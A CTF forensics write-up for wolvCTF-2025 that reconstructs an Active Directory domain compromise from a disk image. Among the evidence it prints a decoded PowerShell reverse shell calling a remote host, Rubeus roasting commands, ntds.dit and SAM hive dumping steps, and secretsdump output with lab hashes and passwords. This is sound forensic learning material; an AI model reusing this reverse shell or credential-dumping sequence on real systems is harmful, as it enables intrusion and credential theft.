I participated in wolvCTF-2025, organized by w01verines as a core member of the team InfoSecIITR. Our team secured 11th place globally in the Open Bracket. Here are the Writeups of all the Forensics challenges I was personally able to solve during the competition.

Image

Forensics

Active series (1, 2 and 3)

Challenge Description

Chal 1 -> Oh no! Our beloved wolvctf.corp domain has been infiltrated! How did they manage to break into our domain controller? Please figure out how they got access into the domain controller box, how a shell was achieved, and how a domain account was obtained.

Chal 2 -> The attacker moved laterally throughout our domain. I’m hearing reports from other members of wolvctf.corp that 3 lower level accounts were compromised (excluding the 2 higher level compromised accounts). Figure out which ones these are, and follow the attacker’s steps to collect the flag.

Chal 3 -> Now, it’s time to figure out how this attacker obtained administrator access on our domain! To prove you have retraced the attacker’s steps completely, submit the domain admin’s password as the flag. It’s already in the flag format.

Solution

We were given the complete file system of the compromised system and we need to find the complete attack process and follow the evidences to uncover our flags.
Let me first describe the entire process of privelage escalation of the attack in brief.

1
The attacker first uses `WinPEAS` to discover the running services on the system where he founds an open `MSSQL server` so the attacker first tries brute forcing the credentials in case of a weak password but when it fails he tries to leverage the `xp_cmdshell` to get powershell execution. Along with this the WinPEAS also enumerated the `Autologon creds` to and succesfully retrieves password for dan through which he tries to exploit `Kerberos` using `Rubeus` and gets the access as user emily. Next the file directory of emily gives the user the password for james after which he tries to change the password for both emily and patrick giving him the access as patrick as well. Again the file directory of patrick gives him jake's password giving access as jake. Now since there was no possible evidence in the file directory the attacker tries to dump the `registry hives` and get the hash of the domain admin Jessica's password which he is able to brute by the group password law in the wolvctf.corp giving the attacker Jessica'a password and ultimately the `Admin` access.

Now lets follow the evidences to retrace this whole process and uncover our three flgs on the way.

Presence of MSSQL server

We can find the WinPEAS (Windows Privilege Escalation Awesome Script), a powerful, automated enumeration tool designed to identify privilege escalation vulnerabilities on Windows systems. output file at the location ./Users/Public/Documents/ where the MSSQL server can be identified running at is default port 1433 in the enumerated IPV4 connections’ section,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name

TCP 0.0.0.0 88 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 135 0.0.0.0 0 Listening 892 svchost
TCP 0.0.0.0 389 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 464 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 593 0.0.0.0 0 Listening 892 svchost
TCP 0.0.0.0 636 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 1433 0.0.0.0 0 Listening 3364 C:\Users\mssql_service\MSSQL13.SQLEXPRESS\MSSQL\Binn\sqlservr.exe
TCP 0.0.0.0 3268 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 3269 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 3389 0.0.0.0 0 Listening 1436 svchost
TCP 0.0.0.0 5985 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 9389 0.0.0.0 0 Listening 2340 Microsoft.ActiveDirectory.WebServices
TCP 0.0.0.0 47001 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 49664 0.0.0.0 0 Listening 500 wininit
TCP 0.0.0.0 49665 0.0.0.0 0 Listening 356 svchost
TCP 0.0.0.0 49666 0.0.0.0 0 Listening 60 svchost
TCP 0.0.0.0 49667 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 49669 0.0.0.0 0 Listening 1652 svchost
TCP 0.0.0.0 49678 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 49679 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 49681 0.0.0.0 0 Listening 644 lsass
TCP 0.0.0.0 49682 0.0.0.0 0 Listening 2304 spoolsv
TCP 0.0.0.0 49685 0.0.0.0 0 Listening 636 services
TCP 0.0.0.0 49688 0.0.0.0 0 Listening 3364 C:\Users\mssql_service\MSSQL13.SQLEXPRESS\MSSQL\Binn\sqlservr.exe
TCP 0.0.0.0 49693 0.0.0.0 0 Listening 2416 dns
TCP 0.0.0.0 60689 0.0.0.0 0 Listening 9052 dfsrs
TCP 127.0.0.1 53 0.0.0.0 0 Listening 2416 dns
TCP 192.168.187.138 53 0.0.0.0 0 Listening 2416 dns
TCP 192.168.187.138 139 0.0.0.0 0 Listening 4 System
TCP 192.168.187.138 58485 52.159.126.152 443 Established 60 svchost
TCP 192.168.187.138 60700 192.168.187.128 1433 Established 8532 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TCP 192.168.231.128 53 0.0.0.0 0 Listening 2416 dns
TCP 192.168.231.128 139 0.0.0.0 0 Listening 4 System
MSSQL server credential brute forcing

We can find the MSSQL (Microsoft SQL Server 2016 SP2) ERRORLOG at the following location ./Users/mssql_service/MSSQL13.SQLEXPRESS/MSSQL/Log/ where we find the server setup logs (normal) followed by a a series of failed login attempts giving the bruteforce and also the first part of the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
...
2025-03-18 12:29:13.42 Server The SQL Server Network Interface library could not register the Service Principal Name (SPN) [ MSSQLSvc/DC01.wolvctf.corp:1433 ] for the SQL Server service. Windows return code: 0x2098, state: 15. Failure to register a SPN might cause integrated authentication to use NTLM instead of Kerberos. This is an informational message. Further action is only required if Kerberos authentication is required by authentication policies and if the SPN has not been manually registered.
2025-03-18 12:29:14.01 Server [ERROR] Failure while enumerating counters: 0xc0000bdb (d:\b\s3\sources\sql\ntdbms\hekaton\engine\perfctrs\hkengperfctrs.cpp : 984 - 'enumerateCountersAndAddToQuery')
2025-03-18 12:29:14.04 Server Software Usage Metrics is disabled.
2025-03-18 13:28:27.74 spid52 Using 'dbghelp.dll' version '4.0.5'
2025-03-18 19:51:14.50 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:14.50 Logon Login failed for user 'root'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:15.13 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:15.13 Logon Login failed for user 'test'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:15.74 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:15.74 Logon Login failed for user 'admin'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:16.32 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:16.32 Logon Login failed for user 'bruteforcing'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:17.00 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:17.00 Logon Login failed for user 'this'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:17.85 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:17.85 Logon Login failed for user 'is'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:18.43 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:18.43 Logon Login failed for user 'the'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:19.05 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:19.05 Logon Login failed for user 'first'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:19.69 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:19.69 Logon Login failed for user 'part'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:20.31 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:20.31 Logon Login failed for user 'w'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:20.86 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:20.86 Logon Login failed for user 'c'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:21.68 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:21.68 Logon Login failed for user 't'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:22.30 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:22.30 Logon Login failed for user 'f'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:23.12 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:23.12 Logon Login failed for user '{'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:23.96 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:23.96 Logon Login failed for user 'd'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:24.56 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:24.56 Logon Login failed for user '0'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:25.22 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:25.22 Logon Login failed for user 'n'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:25.82 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:25.82 Logon Login failed for user 't'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:26.49 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:26.49 Logon Login failed for user '_'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:27.21 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:27.21 Logon Login failed for user '3'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:27.93 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:27.93 Logon Login failed for user 'n'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:28.60 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:28.60 Logon Login failed for user '4'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:29.11 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:29.11 Logon Login failed for user 'b'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:29.64 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:29.64 Logon Login failed for user 'l'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:30.29 Logon Error: 18456, Severity: 14, State: 5.
2025-03-18 19:51:30.29 Logon Login failed for user '3'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.231.1]
2025-03-18 19:51:55.62 spid54 Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
2025-03-18 19:51:55.63 spid54 Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
2025-03-18 19:51:58.29 spid54 Configuration option 'xp_cmdshell' changed from 1 to 0. Run the RECONFIGURE statement to install.
2025-03-18 19:51:58.33 spid54 Configuration option 'show advanced options' changed from 1 to 0. Run the RECONFIGURE statement to install.
2025-03-18 21:14:25.14 spid5s SQL Server is terminating in response to a 'stop' request from Service Control Manager. This is an informational message only. No user action is required.
2025-03-18 21:14:26.61 spid13s Service Broker manager has shut down.
2025-03-18 21:14:26.65 spid5s .NET Framework runtime has been stopped.
2025-03-18 21:14:27.51 spid5s SQL Server shutdown has been initiated
2025-03-18 21:14:27.53 spid5s SQL Trace was stopped due to server shutdown. Trace ID = '1'. This is an informational message only; no user action is required.

Flag 1.1:

1
wctf{d0nt_3n4bl3_
Getting powershell access

Again in the WinPEAS output we can find the following process execution signalling xp_cmdshell execution on MSSQL server

1
2
3
powershell(8532)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe] -- POwn: MSSQL$SQLEXPRESS
Command Line: powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAOAA3AC4AMQAyADgAIgAsADEANAAzADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAZQBuAGMAbwBkAGUAZABfAGYAbABhAGcAcAB0ADIAIAA9ACAAIgBYADMAaABRAFgAMgBOAHQAWgBIAE4AbwBNAHoARQB4AFgAMwBjAHgAZABHAGgAZgBaAEQATgBtAFkAWABWAHMAZABGADkAagBjAGoATgBrAGMAMQA4AHcAYwBsADgAPQBzACIAOwAkAGYAbABhAGcAcAB0ADIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZQBuAGMAbwBkAGUAZABfAGYAbABhAGcAcAB0ADIAKQApADsAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAGYAbABhAGcAcAB0ADIAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Decoding this Base64 encoded cmd gives us

1
$client = New-Object System.Net.Sockets.TCPClient("192.168.187.128",1433);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$encoded_flagpt2 = "X3hQX2NtZHNoMzExX3cxdGhfZDNmYXVsdF9jcjNkc18wcl8=s";$flagpt2 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_flagpt2));Write-Output $flagpt2;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

This creates a TCP connection and gives a reverse shell to the attacker with full powershell access and it also gives us the second part of our first flag.

Flag 1.2:

1
_xP_cmdsh311_w1th_d3fault_cr3ds_0r_
Getting Autologon Credentials

Next again we find in the WinPEAS output that it enumerated and successfully gave the credentials of the user dan thus giving the attacker an entry point to the domain.

1
2
3
4
5
6
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : WOLVCTF
DefaultUserName : WOLVCTF\Dan
DefaultPassword : DansSuperCoolPassw0rd!!
AltDefaultUserName : loot-in-hex:656e61626c335f347574306c6f67306e5f306b3f3f213f7d

And the loot-in-hex field gives us our third part of first flag.

Flag 1.3:

1
enabl3_4ut0log0n_0k??!?}
Escalation dan to emily

We find the ConsoleHost_History.txt for dan at the location ./Users/dan/AppData/Roaming/Microsoft/Windows/Powershell/PSReadLine which gives following commands history when the attacker was as dan.

1
2
3
4
5
6
7
8
9
10
11
cd Desktop
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\dan\Documents -OutputPrefix "wolvctf_audit"
powershell -ep bypass
.\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\dan\Documents -OutputPrefix "wolvctf_audit"
Import-Module \SharpHound.ps1
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\dan\Documents -OutputPrefix "wolvctf_audit"
.\Rubeus.exe asreproast /user:emily /domain:wolvctf.corp /dc:DC01.wolvctf.corp > asreproast.output
.\Rubeus.exe kerberoast > kerberoast.output
runas /User:wolvctf\emily cmd`

This suggests that the user tried to perform the AS-REP Roasting attack on Kerberos Authentication using Rubeus to get the password for emily. So we find the asreproast.output at the location ./Users/dan/Desktop with following output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
   ______        _                      
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.0


[*] Action: AS-REP roasting

[*] Target User : emily
[*] Target Domain : wolvctf.corp
[*] Target DC : DC01.wolvctf.corp

[*] Using domain controller: DC01.wolvctf.corp (fe80::af8f:bc46:1257:36be%5)
[*] Building AS-REQ (w/o preauth) for: 'wolvctf.corp\emily'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$emily@wolvctf.corp:34C3460101DA5A3081FA4F6518A0ECE1$619944A029EF908C7
8A80E2559C06788E2D86AEB1C94CD97E4540E5EA57C550C7FBD768D6EA24DBC66CFC6B8A9E39C364
39CA4B50DCF29F3C078785F876835B239B3628F561D080F83294C9A3BC8D1C4DEC538A15339257DC
AAB20F33EE168BDEA0671C4AB92DA6B089D7700E7BE42564706BFA903654EDF11376C1994BBE6B9C
C65E53275EF3148B638AA5A52284E29912C3CA2171FD50FBD6929511416B51F8C4F8CB9383DA74E8
DB3B0493A2654093C44BC399695525DD90E271A90C9992024A1D05E4188EC588663D2D849142AED6
5C5B77C38ED3DC7BB65178A565248F199B5DC2D382D2DA016DAD023

[*_*] d2N0Znthc3IzcHIwNHN0M2Q/Xw==

Now the base64 comment at the end gives us the first part of our second flag and on cracking this krb5asrep hash for emily using John the Ripper we can find the password for emily as youdontknowmypasswordhaha.

Flag 2.1:

1
wctf{asr3pr04st3d?_
Escalation emily to james

Again the Console History of emily reveals the following info.

1
2
3
4
5
6
7
8
9
10
11
12
13
cd C:\Users\emily
tree /f /a > tree.txt
type tree.txt
cd Documents
dir
type README
echo "James asked me to keep his password secret, so I made sure to take extra precautions." >> C:\Users\Public\loot.txt
echo "Note to self: Password for the zip is same as mine, with 777 at the end" >> C:\Users\Public\loot.txt
del README
cp .\important.7z C:\Users\Public
del C:\Users\Public\loot.txt
del C:\Users\Public\important.7z
runas /User:wolvctf\james cmd

Which suggest the presence of importat.7z and since we know emily’s password we also know the password for the zip so we quicly extract the zip with the password youdontknowmypasswordhaha777 to find 3 images in the zip car.jpeg, cat.jpg and cattttt.jpeg.

Image

And on using binwalk on car.jpeg we get another image which bears the secodn part of flag 2 and also the password for james. Maybe the extra precaution that emily took hinted to this slight steganographic technique of byte scraping.

Image

Flag 2.2:

1
sh0uldv3_3nabl3d_s0m3_k3b3r0s_pr34th_4nd_
Escalation james to patrick

Viewing the console history for james reveals the following password change attampt.

1
2
3
4
5
6
7
8
9
10
cd C:\Users\Public\Documents
mv .\PowerView.txt .\PowerView.ps1
powershell -ep bypass
Import-Module .\PowerView.ps1
Find-DomainProcess
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force`
Set-DomainUserPassword -Identity 'emily' -AccountPassword $NewPassword
$NewPassword = ConvertTo-SecureString 'd0nt_us3_4ll3xtendedr1ghts}' -AsPlainText -Force`
Set-DomainUserPassword -Identity 'patrick' -AccountPassword $NewPassword
runas /User:wolvctf\patrick cmd

Which shows that the attacker ran PowerView.ps1 a PowerShell script for Active Directory (AD) enumeration and abuse to search for processes running in the domain, helping identify privileged accounts. If the attacker has reset privileges, they forcefully set new passwords for domain users emily and patrick and then get access as patrick. This also gives us the third part of our second flag.

Flag 2.3:

1
d0nt_us3_4ll3xtendedr1ghts}
Escalation patrick to jake

Pretty straight forward as the password for jake was present in a note_from_jake.txt in the Desktop directory of patrick.

1
2
3
If you need anything backed up you can just use my account:

Password: fwa3fe8#FEwef
Escalation jake to jessica

The console history of jake looked like the follwong.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cd C:\Users\Public\Downloads
whoami
cd C:\Users\jake\desktop
whoami /all > whoami.txt
type .\whoami.txt
cd C:\Users\public
cd downloads
diskshadow.exe /s script.txt
diskshadow.exe /s script.txt > shadow.txt
type .\shadow.txt
cp .\shadow.txt C:\Users\jake\desktop\shadow.txt
del shadow.txt
robocopy /b z:\windows\ntds . ntds.dit > robo.txt
type .\robo.txt
dir
del robo.txt
cp ntds.dit C:\Users\jake\downloads
del ntds.dit
cd C:\Users\jake\downloads
dir
reg save hklm\system c:\users\jake\downloads\system.hive
reg save hklm\sam C:\users\jake\downloads\sam.hive
dir
cp * C:\Users\public
del C:\Users\public\ntds.dit
del C:\Users\public\sam.hive
del C:\Users\public\system.hive
runas /User:wolvctf\jessica
runas /User:wolvctf\jessica cmd

Which suggests the attacker first ran whoami /all to get detailed user privileges and group memberships, useful for assessing permission levels and then ran a script.txt to like create a shadow copy of the drive, which allows access to locked files such as ntds.dit. Then he extract all ntds.dit, sam.hive and system.hive in order to exxtract jessica’s password and get her accesss.

One thing to note is that from the WinPEAS output we already know that Jessica is the domain admin so the last flag is nothing but jessica’s password.

1
2
3
4
5
6
7
8
9
Computer Name           :   DC01
User Name : jessica
User Id : 4107
Is Enabled : True
User Type : Administrator
Comment : IT
Last Logon : 3/18/2025 2:38:19 PM
Logons Count : 1
Password Last Set : 3/18/2025 2:34:06 PM

Now NTDS.DIT (New Technology Directory Services Directory Information Tree) is the primary database file of Microsoft’s Active Directory Domain Services. Essentially, NTDS.DIT stores and organizes all the information related to objects in the domain, including users, groups, computers, and more. So on inspecting the ntds.dit we find the following piece of information.

1
Members who are part of this group have passwords w then a c then a t and an f, curly bracket left, 'bloodhound_is_cool_' (but all the 'o's are '0's), then a city in all lowercase appended by 3 numbers (secret only you know),  right curly bracket.

So we immediatiely jump to get the hashes for the users using registry hives and Impacket.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
$ secretsdump.py -ntds ntds.dit -system system.hive LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x32032d8f6ff9102e4202d192c152e02a
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a802330d6d1dca4a57a459990af5e50e
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1b921e44ea5dfd940c004044d4ef4cae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b60be13c1c27a48e5c5afc10792afeab:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7f27814ee1fea90dc7495b265207db9d:::
mssql_service:2102:aad3b435b51404eeaad3b435b51404ee:6092ca0e60d24f30d848a5def59d4753:::
wolvctf.corp\james:4101:aad3b435b51404eeaad3b435b51404ee:4c20abe87d36b9ad715fd5671545abb5:::
wolvctf.corp\emily:4102:aad3b435b51404eeaad3b435b51404ee:5c7a26ae4c40018fa1660cc2f1d82269:::
wolvctf.corp\john:4103:aad3b435b51404eeaad3b435b51404ee:d24c1456aefeab3eb911c8015b9f6ce4:::
wolvctf.corp\patrick:4104:aad3b435b51404eeaad3b435b51404ee:0311f96ce47c5cc21529fcc8375f9c2e:::
wolvctf.corp\katherine:4105:aad3b435b51404eeaad3b435b51404ee:89218e0b151209e9d4fa0768ea72c70d:::
wolvctf.corp\Amy:4106:aad3b435b51404eeaad3b435b51404ee:4aa4474c2886f6a796bd75eebe5ebf01:::
wolvctf.corp\jessica:4107:aad3b435b51404eeaad3b435b51404ee:8fcdcffba18f392df7aa291527290aff:::
wolvctf.corp\frank:4108:aad3b435b51404eeaad3b435b51404ee:b0212745c59fcf54f06ea501cd409ff5:::
wolvctf.corp\chris:4109:aad3b435b51404eeaad3b435b51404ee:253cfc1375d39308ab1bb935b44e2010:::
wolvctf.corp\renee:4110:aad3b435b51404eeaad3b435b51404ee:9b5109ef6dbc8086ed36a90c20aa1d48:::
wolvctf.corp\peter:4111:aad3b435b51404eeaad3b435b51404ee:4f3cde005948d4e4fb232c35014ccafb:::
wolvctf.corp\dan:4112:aad3b435b51404eeaad3b435b51404ee:e9d959da74f5c7590a80d635b36705a6:::
wolvctf.corp\jake:4113:aad3b435b51404eeaad3b435b51404ee:cc4f0a96d3c0ce71b664e314b14ecd7e:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:6b130a0ae6ddfb1628acf2ad84147e1ee38015a076aad76b03af0c1da43815a2
Administrator:aes128-cts-hmac-sha1-96:9d47fe6fc6471fed5d102f32dfa71eed
Administrator:des-cbc-md5:01a1b5c21f94341c
DC01$:aes256-cts-hmac-sha1-96:79c96d12dd9cc6369096bd8dbfe181d921aeffd4aaa53fc0d0263c7a665ee4c3
DC01$:aes128-cts-hmac-sha1-96:47991a6fe70596e2f252209a7619ca93
DC01$:des-cbc-md5:f7d6a4c8026df26e
krbtgt:aes256-cts-hmac-sha1-96:a570965739e477e5636b47289b0ebd351b89089f904ddf6ba676a95fc043caf6
krbtgt:aes128-cts-hmac-sha1-96:d70b85a9394ab390cc7a7d3b294cf841
krbtgt:des-cbc-md5:a720fbdfc429ce38
mssql_service:aes256-cts-hmac-sha1-96:e3ae0982ea2ae94b4d989a89bbd966e593472e4653869b5188f0f0a175226bd0
mssql_service:aes128-cts-hmac-sha1-96:80b0488a2d5c02a819e73f5184fd4609
mssql_service:des-cbc-md5:13e51ff2c76802f8
wolvctf.corp\james:aes256-cts-hmac-sha1-96:744c13c321ea323429238a196eab9b65bea41b13577b13cf2ae4775e2540da22
wolvctf.corp\james:aes128-cts-hmac-sha1-96:1f60e252b18a1fe2edd73300996d3daa
wolvctf.corp\james:des-cbc-md5:5babd3bc9be6797a
wolvctf.corp\emily:aes256-cts-hmac-sha1-96:adcb0acc59b9454912378c69039bea23fee975074f9e0fd09b738cb1eb98fe54
wolvctf.corp\emily:aes128-cts-hmac-sha1-96:1950a20a02f7e41d000546d0aed292fc
wolvctf.corp\emily:des-cbc-md5:d5e58929a4b96b3d
wolvctf.corp\john:aes256-cts-hmac-sha1-96:d7aa03485fdead391b6c32bca4ebf7f0b3e6dc2cfd20c3a240bf066cbda3f4a9
wolvctf.corp\john:aes128-cts-hmac-sha1-96:df8b329de72ab17b743943e3a4023aca
wolvctf.corp\john:des-cbc-md5:b931a88615a794ab
wolvctf.corp\patrick:aes256-cts-hmac-sha1-96:e01f8578724ef569bf545872403df16a3ac16bc67604f911dd97df88f3363efd
wolvctf.corp\patrick:aes128-cts-hmac-sha1-96:0895763e253a210250b544de1eba67d9
wolvctf.corp\patrick:des-cbc-md5:57ba527967611658
wolvctf.corp\katherine:aes256-cts-hmac-sha1-96:b41404d85f0286000725a603bc890c5941c2356446f1acc6c6b4b80bd5b9fb16
wolvctf.corp\katherine:aes128-cts-hmac-sha1-96:32c9f2a4c32fa36dc248fea63c7a985f
wolvctf.corp\katherine:des-cbc-md5:9b852fb319e68aa8
wolvctf.corp\Amy:aes256-cts-hmac-sha1-96:88393904dcb9cfced8e477dbab7b8d2ce1967254789e075a932541dadb6a7561
wolvctf.corp\Amy:aes128-cts-hmac-sha1-96:7970b15f1ff40798a75eb47a80b5d117
